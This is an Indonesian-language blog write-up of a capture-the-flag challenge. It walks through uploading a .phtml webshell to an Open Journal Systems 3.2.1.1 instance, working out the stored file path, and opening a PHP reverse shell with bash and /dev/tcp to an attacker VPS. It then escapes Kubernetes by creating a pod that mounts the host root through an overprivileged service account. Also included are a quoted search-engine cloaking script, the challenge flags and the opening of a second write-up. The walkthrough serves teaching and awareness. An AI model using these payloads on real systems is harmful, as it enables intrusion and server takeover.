<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="981" height="555" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2.png" alt="" class="wp-image-560" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2.png 981w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2-300x170.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-2-768x434.png 768w" sizes="auto, (max-width: 981px) 100vw, 981px" /></figure>



<p>Pada kasus challenge ini, terlihat OJS memakai version 3.2.1.1 yang kita bisa langsung melihat source code pada githubnya <a href="https://github.com/pkp/ojs/tree/3_2_1-1">https://github.com/pkp/ojs/tree/3_2_1-1</a></p>



<p>Dan sebenarnya untuk melakukan exploitnya cukup mudah karena banyaknya PoC yang disediakan. Karena kerentanannya terkait dengan Arbitrary File Upload, hal paling tricky disini adalah mencari path webshell setelah diupload.</p>



<p>PoC ?</p>



<ul class="wp-block-list">
<li>Register pada http://157.230.255.81/index.php/bhitech/user/register</li>



<li>Setelah register, kemudian pilih <strong>make a new submission</strong></li>



<li>Centang semua pada step 1</li>



<li>Kemudian step 2, disini akan ada modal untuk melakukan upload file</li>



<li>Upload file webshell / malicious dengan extension .phtml</li>
</ul>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="535" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-1024x535.png" alt="" class="wp-image-561" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-1024x535.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-300x157.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3-768x401.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-3.png 1430w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini sebenarnya file telah berhasil di upload pada server, dan seperti yang dikatakan sebelumnya jika kita perlu mencari path aktual dari file yang diupload. jika kita mengclick file yang terupload maka nama akan berubah menjadi 1-Article Text-1-1-2-20250727.phtml dan hal ini bisa menjadi acuan petunjuk tambahan.</p>



<p>Sedikit info, path file pada OJS sendiri bisa di custom yakni saat instalasi, admin bisa melakukan custom folder untuk file journal seperti /files, /data, /ojs ataupun lainnya dan bahkan untuk lebih securenya, secara default path file bisa diluar dari document_root pada website, misalkan webroot berada pada /var/www/html/, file journal bisa diletakkan di /var/www/files/ dan dalam hal ini yang tidak memungkinkan dilakukan exploitation.</p>



<p>Setelah itu kita bisa melakukan enumeration directory, dalam hal ini aku menggunakan dirsearch</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="608" height="350" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4.png" alt="" class="wp-image-562" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4.png 608w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-4-300x173.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>Disini ditemukannya directory /files, dan ternyata directory listingnya kebuka </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="556" height="523" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5.png" alt="" class="wp-image-563" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5.png 556w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-5-300x282.png 300w" sizes="auto, (max-width: 556px) 100vw, 556px" /></figure>



<p>Terdapat suatu file catatan.txt disini, dan jika kita buka </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-84752b9e80570c34142b787e7c247aa8"><code>Di sebuah rumah di perbatasan kabupaten magetan, tinggallah seorang yang bernama Rafli. Rafli ini sehari sehari bekerja freelance sebagai web developer yang suatu ketika ada client dari universitas swasta, sebut saja universitas siber yang meminta untuk membuat platform publikasi jurnal ilmiah. Akhirnya setelah berbincang bincang via telpon mereka sepakat dengan deadline 2 minggu untuk aplikasinya ini dapat digunakan

tak berfikir lama Rafli langsung mengunduh sebuah CMS yang dinamakan OJS(open journal system). Rafli sempat mengunjungi github https://github.com/pkp/ojs dengan melihat sekilas source codenya karena sifatnya yang open source dan Rafli yakin dengan memakai OJS ini dengan memodifikasi-nya sedikit agar sesuai yang diminta client-nya

Rafli tak peduli dengan banyak security issue yang terdampak pada OJS ini, yang difikirkan Rafli yang penting sesuai dan memangkas waktu agar deadline 2 minggu ini terselesaikan dengan baik. Yang akhirnya pilihan Rafli sudah bulat dimana setelah itu dia meminta suatu VPS kepada pihak client agar aplikasinya dapat di deploy

Rafli mengerjakan project ini dengan kurang dari 2 minggu dan Rafli juga tidak sempat membaca dokumentasi best practice dari OJS terutama masalah security, Rafli juga tidak membaca issue github seseorang yang terkena hacking pada website OJS-nya https://github.com/pkp/pkp-lib/issues/7786 terlebih Rafli juga tidak riset terkait seseorang menggunakan exploit zeroday pada OJS ini https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/

Yang akhirnya setelah semuanya beres, sesuai kesepakatan dengan deadline 2 minggu maka mereka sepakat mempublikasikan ke internet dan kedua belah pihak sangat senang dimana Rafli mendapatkan uang dari project ini sementara pihak kampus mempunyai platform journal-nya sendiri. Hingga selang beberapa waktu, ternyata benar saja traffic mulai melonjak yang mengakibatkan website hampir down, dengan pendekatan yang pas, akhirnya pihak kampus melalui sysadminnya mengkonfigurasi load balancing dan auto scalling pada aplikasinya menggunakan kubernetes dan dimana node worker pada OJS-nya dibuat menjadi beberapa POD seperti apache dan mysql dipisah dalam pod yang berbeda

Hari demi hari platform OJS-nya berjalan lancar sampai akhirnya mereka menyadari ada anomaly log yang berbeda dan ada yang melakukan takeover kepemilikan pada websitenya melalui google search console, sontak membuat sysadmin terkejut karena tidak ada perubahan yang signifikan pada websitenya sampai menyadari ada perubahan datetime pada index.php dan tambahan file pada directory webrootnya seperti sitemap.xml, google1337.html dan index.txt, indexx.php. dan setelah itu sysadmin mecoba membuka index.php dengan isi

```
&lt;?php
$googleBots = &#91;
    'Googlebot',
    'Googlebot-Mobile',
    'Googlebot-Image',
    'Mediapartners-Google', 
    'AdsBot-Google',
    'Feedfetcher-Google'
];


$userAgent = $_SERVER&#91;'HTTP_USER_AGENT'] ?? '';

$isGoogleBot = false;
foreach ($googleBots as $bot) {
    if (stripos($userAgent, $bot) !== false) {
        $isGoogleBot = true;
        break;
    }
}

if ($isGoogleBot) {
    include 'index.txt';
} else {
    include 'indexx.php';
}
?&gt;
```
Dan setelah menyadari script tersebut merupakan cloacking yang bertujuan untuk memanipulasi crawler dan googlebot dengan menampilkan konten yang berbeda dan seringkali digunakan di kalangan blackhat SEO. Dan benar saja website muncul rank 1 di mesin pencari google dengan keyword "Toto Gacor"

sysadmin menghubungi Rafli untuk memperoleh informasi dari aplikasi yang dibuatnya dan menjelaskan jika website diretas oleh hacker judol yang berafiliasi dengan para bandar di kamboja, karena ada indikasi kuat IP dari log yang di analysis tersebut berada di kota poipet.

Disini sysadmin meghubungi Rafli bukan semata mata hanya karena aplikasi OJS-nya saja, tapi karena server tersebut sudah terintegrasi dengan kubernetes dan takutnya para hacker ini melakukan escape dan breakout pada containernya sehingga dapat mengakses host utama

setelah dihubungi pihak universitas, Rafli juga terkejut dan menghubungi temannya yang bekerja sebagai red teamer dan paham terkait security, sebut saja Rimba. Disini Rimba menjelaskan kerentanan di OJS yang cukup umum dan sangat mudah dilakukan exploitation

Rimba menjelaskan dengan sangat detail dan memberi tahu Rafli jika kerentanan terletak pada file /lib/pkp/classes/file/FileManager.inc.php dengan code berikut :

```
function parseFileExtension($fileName) {
                $fileParts = explode('.', $fileName);
                if (is_array($fileParts) &amp;&amp; count($fileParts) &gt; 1) {
                        $fileExtension = $fileParts&#91;count($fileParts) - 1];
                }

                // FIXME Check for evil
                if (!isset($fileExtension) || stristr($fileExtension, 'php') || strlen($fileExtension) &gt; 6 || !preg_match('/^\w+$/', $fileExtension)) {
                        $fileExtension = 'txt';
                }

                // consider .tar.gz extension
                if (strtolower(substr($fileName, -7)) == '.tar.gz') {
                        $fileExtension = substr($fileName, -6);
                }

                return $fileExtension;
        }
```
dan juga pada ./lib/pkp/classes/context/LibraryFile.inc.php

```
function getFilePath() { 
	$contextId = $this-&gt;getContextId(); 
	return Config::getVar('files', 'files_dir') . '/contexts/' . $contextId . '/library/' . $this-&gt;getServerFileName(); 

}
function &amp;getTypeSuffixMap() { 
	static $suffix = array( 
	    LIBRARY_FILE_TYPE_MARKETING =&gt; 'MAR', 
	    LIBRARY_FILE_TYPE_PERMISSION =&gt; 'PER', 
		LIBRARY_FILE_TYPE_REPORT =&gt; 'REP', 
		LIBRARY_FILE_TYPE_OTHER =&gt; 'OTH' 
	); 
	return $suffix; 
} 
$fileName = $baseName . '-' . $suffix . '.' . $ext;
```
Yang intinya ada semacam kerentanan yang dapat mengarah ke RCE dan dapat digunakan takeover suatu server, dan setelah dijelaskan baru Rafli paham kenapa bisa terjadi dan dengan bantuan Rimba, akhirnya kerentanan dapat dilakukan patching dan mitigasi serta membuat file OJS tidak dapat diakses dari document rootnya.

~xpl0dec </code></pre>



<p>Didalam catatan itu terdapat mengenai perbincangan dari Rafli dan Sysadmin kampus mengenai OJS-nya diretas yang digunakan untuk promosi judi online dan juga tedapat deskripsi singkat mengenai kerentanan beserta source codenya.</p>



<p>Umumnya ada beberapa path static atau pola directory file OJS yang terupload yaitu untuk version 2.x.x /journals/[stageId]/articles/[submissionId]/submission/original/[namafilenya] sementara untuk version 3.x.x /journals/[stageId]/articles/[submissionId]/submission/[namafilenya]  </p>



<p>apa itu journalid dan articleid ? jadi setelah file diupload kita bisa klik file untuk download dan akan request ke endpoint berikut <br>/index.php/bhitech/$$$call$$$/api/file/file-api/download-file?fileId=1&amp;revision=1&amp;submissionId=1&amp;stageId=1, ada beberapa hal yang diperhatikan disini yang dimana stageId=1 merupakan path id pada stage sementara submissionId terkait path setelah artice dalam hal ini 1 dan jika kita kombinasikan menjadi path seperti ini /files/journals/1/articles/1/submission/[namafile]</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="363" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-1024x363.png" alt="" class="wp-image-564" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-1024x363.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6-768x272.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-6.png 1329w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Masih notfound, dan sepertinya ada yang salah jadi mari kita breakdown dan analysis dari source codenya, dan disini bisa ditemukan fungsi getClientFileName() pada file https://github.com/pkp/pkp-lib/blob/6c34557418261be3ca50b797acb144f9332ca239/classes/submission/SubmissionFile.inc.php#L297</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="883" height="488" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7.png" alt="" class="wp-image-565" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7.png 883w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7-300x166.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-7-768x424.png 768w" sizes="auto, (max-width: 883px) 100vw, 883px" /></figure>



<p>disini sebenarnya yang diubah hanya pada bagian $genre-&gt;getLocalizedName() dan jika kita gulir kebawah juga ditemukan fungsi _generateFileName()</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="818" height="411" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8.png" alt="" class="wp-image-566" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8.png 818w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8-300x151.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-8-768x386.png 768w" sizes="auto, (max-width: 818px) 100vw, 818px" /></figure>



<p>Kita bisa menebak jika, nama file seperti ini 1-Article Text-1-1-2-20250729.phtml maka pada bagian Artice Text akan diubah ke bentuk integer 1-[getGenreId()]-1-1-2-20250729.phtml</p>



<p>fungsi getGenreId() dan variable $genre memanggil class GenreDAO dari file https://github.com/pkp/pkp-lib/blob/main/classes/submission/GenreDAO.php#L4</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="803" height="438" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9.png" alt="" class="wp-image-567" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9.png 803w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9-300x164.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-9-768x419.png 768w" sizes="auto, (max-width: 803px) 100vw, 803px" /></figure>



<p>yang dimana merupakan query database yang melakukan get data pada tables genres, dan kemudian melakukan return pada fungsi _fromRow()</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="928" height="541" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10.png" alt="" class="wp-image-570" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10.png 928w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10-300x175.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-10-768x448.png 768w" sizes="auto, (max-width: 928px) 100vw, 928px" /></figure>



<p>_fromRow mengambil tables <code>genre_settings</code> pada database yang dimana isi dari genre_settings merupakan list dari topik jurnal yang akan dipublikasikan </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="274" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1024x274.png" alt="" class="wp-image-571" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1024x274.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-300x80.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-768x205.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11-1536x411.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-11.png 1661w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>yang dimana disini, bisa kita asumsikan jika result dari genreId() merupakan data yang diambil dari column <code>genre_id</code> pada tables genres dan genre_setting dan bisa disimpulkan jika list jurnal seperti Aritcle Text sampai other akan dikonversikan sesuai dari genre_id nya seperti :</p>



<ul class="wp-block-list">
<li>Article Text : 1</li>



<li>Research Instrument : 2</li>



<li>Research Materials : 3</li>



<li>Research Results : 4</li>



<li>Transcripts : 5</li>
</ul>



<p>hingga seterusnya sampai bagian other di genre_id 12, yang berarti jika nama file 1-Article Text-1-1-2-20250729.phtml akan menjadi 1-1-1-1-2-20250729.phtml</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="426" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1024x426.png" alt="" class="wp-image-572" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1024x426.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-300x125.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-768x320.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12-1536x639.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-12.png 1716w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan path valid yang menampilkan informasi php, dan lanjut kita coba untuk melakukan reverse shell </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-239e37e590c1870932611edd7139ec1e"><code>&lt;?php

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/dev/null", "a") // stderr is a file to write to
);

$process = proc_open("/bin/bash -c 'bash -i >&amp; /dev/tcp/&#91;ip_vps]/&#91;portnya] 0>&amp;1'", $descriptorspec, $pipes);

if(is_resource($process)) {
    echo "&lt;pre>" . stream_get_contents($pipes&#91;1]);
    fclose($pipes&#91;1]);
}
?></code></pre>



<p>Menggunakan code php dengan fungsi proc_open kita bisa menjalankan bash command yang akan melakukan reverse shell ke VPS yang kita tentukan.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="693" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-1024x693.png" alt="" class="wp-image-573" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-1024x693.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-300x203.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13-768x520.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-13.png 1252w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita berhasil melakukan gaining access dan mendapatkan user flag </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-5a8a5fb6f77037dd4c29a6bb0ec4b264"><code>bhitech{M4S1h_ScRipT_k1ddiEs}

untuk root flagnya, gunakan otak dan kemampuan hackingmu.
sedikit clue mungkin membantu https://kubernetes.io/docs/reference/access-authn-authz/authentication/</code></pre>



<p>Pada file flag juga disertakan clue yang terkait dengan kubernetes serta diberikan refrensi link dokumentasi tentang access authentication pada kubernetes itu sendiri. Jadi kita bahas sedikit tentang kubernetes agar kita lebih paham. Kubernetes disebut sebagai Container Orchestration yang berfungsi untuk melakukan deploy, scaling dan management container secara otomatis, dan biasanya kubernetes itu digunakan pada aplikasi yang berbasis microservice maupun aplikasi dengan skala yang besar.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="669" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1024x669.png" alt="" class="wp-image-575" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1024x669.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-300x196.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-768x502.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster-1536x1003.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/Kubernetes-cluster.png 1600w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Arsitektur kubernetes bisa dilihat pada gambar diatas yaitu terdapat beberapa component penting yang perlu kita ketahui, pertama ada cluster yang merupakan suatu wadah besar yang menampung Node, Control Plane dan utilitas lain dari kubernetes. sedangkan ada Control Plane yang digunakan untuk mengelola node melalui API server dan controller manager atau bisa dibilang Control Plane/Master Node ini server yang mengontrol semua worker node sementara Worker Node itu client-nya yang berisi pod dan container yang dilakukan otomatisasi dan dikontrol oleh master node. Mungkin teman teman bisa langsung cek dokumentasi lebih lanjut untuk lebih memahami kubernetes ini  </p>



<p>Kembali pada topik utama, jika kita baca baca pada refrensi diatas pada bagian service account, dikatakan seperti ini</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="874" height="201" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14.png" alt="" class="wp-image-574" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14.png 874w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14-300x69.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-14-768x177.png 768w" sizes="auto, (max-width: 874px) 100vw, 874px" /></figure>



<p>Disini menarik karena service account tokens pada kubernetes disimpan didalam secret API object yang mana user manapun dengan kemampuan write bisa melakukan request token dan user yang mempunyai izin baca bisa melakukan authentikasi menjadi service account dan disana diperingatkan juga jika harus hati hati saat memberikan permission pada service account.</p>



<p>Jadi jika service account itu diberikan kemampuan yang mumpuni misalkan untuk membuat pods baru dan eksekusi pods maka potensi melakukan breakout/escape pada kubernetes sangat mungkin dikarenakan kita bisa melakukan mounting directory pada host utama.</p>



<p>Contoh rules yaml-nya seperti berikut :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-e65dacb59b848226dc2b6c14a321f2f6"><code>rules:
- apiGroups:
  - ""
  resources: &#91;"pods", "pods/exec"]
  verbs: &#91;"get", "list", "create", "update", "delete", "exec", "watch", "patch", "edit"]</code></pre>



<p>Dimana disini verbs atau izin, bisa melakukan apapun yang dimana hal ini bisa disalahgunakan dengan membuat pods baru. Jadi kita coba melakukan practicalnya, pertama kita perlu tools untuk berkomunikasi dengan API server di control plane menggunakan kubectl</p>



<p><a href="https://kubernetes.io/docs/tasks/tools">https://kubernetes.io/docs/tasks/tools</a></p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-50a674d6fd413167569cbab00c26f6ed"><code>cd /tmp; curl -LO "https://dl.k8s.io/release/<strong>$(</strong>curl -L -s https://dl.k8s.io/release/stable.txt<strong>)</strong>/bin/linux/amd64/kubectl"
</code></pre>



<p>Untuk melakukan identifikasi jika yang kita compromised itu merupakan pods pada kubernetes, kita bisa membaca access token pada /var/run/secrets/kubernetes.io/serviceaccount/token dan jika outputnya merupakan string acak berarti kita berada pada container yang di isolasi.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="160" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-1024x160.png" alt="" class="wp-image-576" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-1024x160.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-300x47.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15-768x120.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-15.png 1224w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kemudian kita cek permission dengan command <em>kubectl auth can-i &#8211;list</em></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="524" height="129" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16.png" alt="" class="wp-image-577" style="width:795px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16.png 524w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-16-300x74.png 300w" sizes="auto, (max-width: 524px) 100vw, 524px" /></figure>



<p>Terlihat tanda * artinya disini kita bisa melakukan apapun pada pods dalam namespace yang kita gunakan saat ini, jadi disini kita mempunyai high privilege karena misconfiguration dari service account. Idenya kita akan membuat pods baru yang melakukan mounting pada host utama, jadi mari kita buat PoC yaml-nya</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-871f0b835b64a91eaf3d3a9239e93ff0"><code>apiVersion: v1
kind: Pod
metadata:
  name: privesc
spec:
  containers:
    - name: privesc
      image: busybox:1.28
      command: &#91;'sh', '-c', 'echo "Privilege Escalation Payload" &amp;&amp; tail -f /dev/null']
      volumeMounts:
        - name: mounting
          mountPath: /tmp/main-host/
  volumes:
    - name: mounting
      hostPath:
        path: /</code></pre>



<p>yaml diatas merupakan script kubernetes untuk membuat pods baru dan dalam hal ini kita menamakan pods tersebut dengan &#8220;privesc&#8221; dan juga kita akan membuild container dari image busybox karena disini aku memilih busybox karena ukurannya yang relatif kecil, kemudian setelah itu kita melakukan volumeMount yang akan melakukan mounting host utama ke directory /tmp/main-host/ didalam container.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="742" height="296" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17.png" alt="" class="wp-image-578" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17.png 742w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-17-300x120.png 300w" sizes="auto, (max-width: 742px) 100vw, 742px" /></figure>



<p>Gambar diatas kita melakukan create pods baru melalui file yaml yang kita buat kemudian kita melihat pods ada 3 dengan salah satu namanya yaitu &#8220;privesc&#8221;, yang mengindikasikan jika kita berhasil membuat pods baru, langkah selanjutnya kita exec dan masuk pada pods privesc dan cek directory /tmp/main-host/</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="552" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-1024x552.png" alt="" class="wp-image-579" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-1024x552.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-300x162.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18-768x414.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-18.png 1106w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>pada directory main-host jika kita ls maka akan menampilkan filesystem dari main host yang dimana sesuai dari petunjuk challenge jika flag berada pada directory /root/root.txt</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1018" height="472" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19.png" alt="" class="wp-image-580" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19.png 1018w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19-300x139.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-19-768x356.png 768w" sizes="auto, (max-width: 1018px) 100vw, 1018px" /></figure>



<p>Dan kita berhasil mendapatkan root flag <strong><em>bhitech{m3m4nG_b3N3R4N_h4ck3r_buk4N_ScRiPt_Kidd13S}</em></strong></p>



<p class="has-large-font-size"><strong>Penutup</strong></p>



<p>Kita berhasil menyelesaikan challenge dan mendapatkan root flag, disini kita bisa mengambil kesimpulan jika sesuatu yang kelihatan sepele seperti exploit OJS dengan melakukan lateral movement yang tepat bisa compromise atau takeover system sepenuhnya dan bayangkan saja jika terjadi di real world pada machine production maka akan sangat fatal sekali. Disini Bhineka Tech juga memberikan edukasi terkait OJS ini dan sekaligus mengangkat tema peretasan yang terkait dengan judi online karena banyak sekali platform dan website indonesia ini yang masih rentan tersusupi landing page dan backlink perjudian, semoga menambah insight dan memberikan awareness kepada peggiat di bidang ini khususnya cybersecurity.</p>



<p><em>&#8220;Jangan pernah menganggap belajar sebagai tugas, tetapi anggaplah sebagai kesempatan berharga untuk mempelajari sesuatu.&#8221;</em> &#8211; <strong>Albert Einstein</strong></p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/">WriteUp Hacking Challenge &#8211; Bhineka Tech</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Windows Pentesting Bhitech &#8211; Write Up</title>
		<link>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/</link>
					<comments>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Mon, 03 Feb 2025 06:02:09 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=514</guid>

					<description><![CDATA[<p>Kemaren lalu aku share challenge pentesting yang menggunakan machine windows, dengan deskripsi sebagai berikut Dimana sama dengan chall pentesting lainnya yang mengharuskan untuk membaca flag yang disimpan pada server yakni terletak pada user dan administrator directory, dan disini kita diberikan suatu IP address server jadi langsung lakukan reconnaissance untuk phase awal Terdapat beberapa service yang [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/">Windows Pentesting Bhitech &#8211; Write Up</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Kemaren lalu aku share challenge pentesting yang menggunakan machine windows, dengan deskripsi sebagai berikut</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-f5f35207d78f2f9052282fb89e493989"><code>Pentest Day Bhitech Challenge

Host: 143.198.222.180
Machine: Windows
Level: Easy
Flag Format: bhitech{}

Deskripsi: Selamat datang di Pentest Day! Tantangan simpel, tapi seru. Tugasmu adalah mendapatkan dua flag yang tersembunyi di direktori user dan administrator. Gunakan segala cara dan skill yang kamu punya—dari eksploitasi sampai trik-trik cerdik lainnya!

Ingat, tujuan utamanya adalah eksplorasi dan belajar. Jangan merusak system yang ada! Semua yang kamu lakukan harus untuk tujuan edukasi.

Catatan: Jangan lupa fokus untuk eksploitasi dan seru-seruan—gak ada yang lebih keren dari belajar sambil nge-hack!

Good luck, happy hacking, and let’s grab those flags!</code></pre>



<p>Dimana sama dengan chall pentesting lainnya yang mengharuskan untuk membaca flag yang disimpan pada server yakni terletak pada user dan administrator directory, dan disini kita diberikan suatu IP address server jadi langsung lakukan reconnaissance untuk phase awal</p>



